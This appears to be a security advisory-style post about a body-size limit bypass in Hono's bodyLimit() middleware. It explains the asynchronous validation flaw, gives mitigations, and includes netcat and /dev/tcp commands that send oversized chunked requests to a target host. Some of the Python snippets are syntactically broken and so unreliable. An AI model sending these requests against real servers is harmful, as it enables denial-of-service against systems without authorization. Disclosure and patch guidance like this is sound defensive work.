Listen to this Post
The vulnerability in Hono’s `bodyLimit()` middleware arises from the asynchronous enforcement of request size limits, specifically for requests without a usable `Content-Length` header (e.g., those using Transfer-Encoding: chunked). The middleware wraps the request body in a stream that counts the bytes asynchronously. Instead of waiting for the size validation to complete before executing the handler, the handler is run immediately. The `413` (Payload Too Large) error is only applied retroactively after the handler has executed, by checking for an error state. This flawed logic allows an attacker to bypass the configured `maxSize` limit in three distinct scenarios: when the handler does not read the request body at all, when the handler reads only the first few chunks and then returns early (e.g., a “slow chunked” attack), or when the handler reads the entire body but uses a try-catch block to suppress the read error. In all three cases, the handler can successfully return a `200 OK` response before the asynchronous limit check completes, thus bypassing the intended safeguard. The fix requires enforcing the size decision synchronously before calling next(), ensuring that oversized requests are rejected prior to any business logic being executed.
Platform: Hono
Version: Prior to 4.9.7
Vulnerability : Body Limit Bypass
Severity: Moderate (4.3)
Date: 2026-04-30
Prediction: 2026-07-30 (3 months)
What Undercode Say:
This is a classic race condition between asynchronous streaming and middleware validation. The `bodyLimit()` middleware fails to provide a hard boundary, making it ineffective for its primary use case. To manually test for this flaw, one can use `curl` to send a chunked request that never finishes:
Send a chunked request with an oversized body
printf "POST /upload HTTP/1.1\r\nHost: target.com\r\nTransfer-Encoding: chunked\r\n\r\n1000\r\n$(python3 -c "print('A'1000)")\r\n0\r\n\r\n" | nc target.com 80
For a more robust test, use a script to simulate the “early return” bypass:
!/bin/bash
exec 3<>/dev/tcp/target.com/80
echo -e "POST /api/data HTTP/1.1\nHost: target.com\nTransfer-Encoding: chunked\n\n" >&3
sleep 1
echo -e "2000\n$(python3 -c "print('B'2000)")\n" >&3
sleep 0.1
Do not send the terminating chunk; close connection early to simulate handler return
exec 3>&-
Exploit:
An attacker sends a chunked HTTP request where the body size exceeds the `maxSize` limit. The request is structured so the application’s handler does not read the entire body (e.g., by only processing the first chunk) or silently handles the read error. Consequently, the handler returns a `200 OK` status, and the server fails to enforce the `413` error, allowing the oversized payload to reach the application logic.
Protection from this CVE
- Upgrade to the patched version of Hono as soon as it is released (post-4.9.7). The fix modifies the middleware to enforce the size decision synchronously before the handler runs.
- As a temporary workaround, deploy a reverse proxy (e.g., Nginx, HAProxy) in front of the Hono application, configured to enforce strict request body size limits.
- Implement an additional layer of size validation within the application’s business logic for critical endpoints.
Impact
Successful exploitation allows an attacker to bypass the intended request body size limit, potentially leading to denial-of-service (DoS) via excessive memory/CPU consumption. While the per-request data exposure is bounded by the `maxSize` configuration, the documented guarantee that oversized requests are rejected before business logic runs is completely invalidated.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
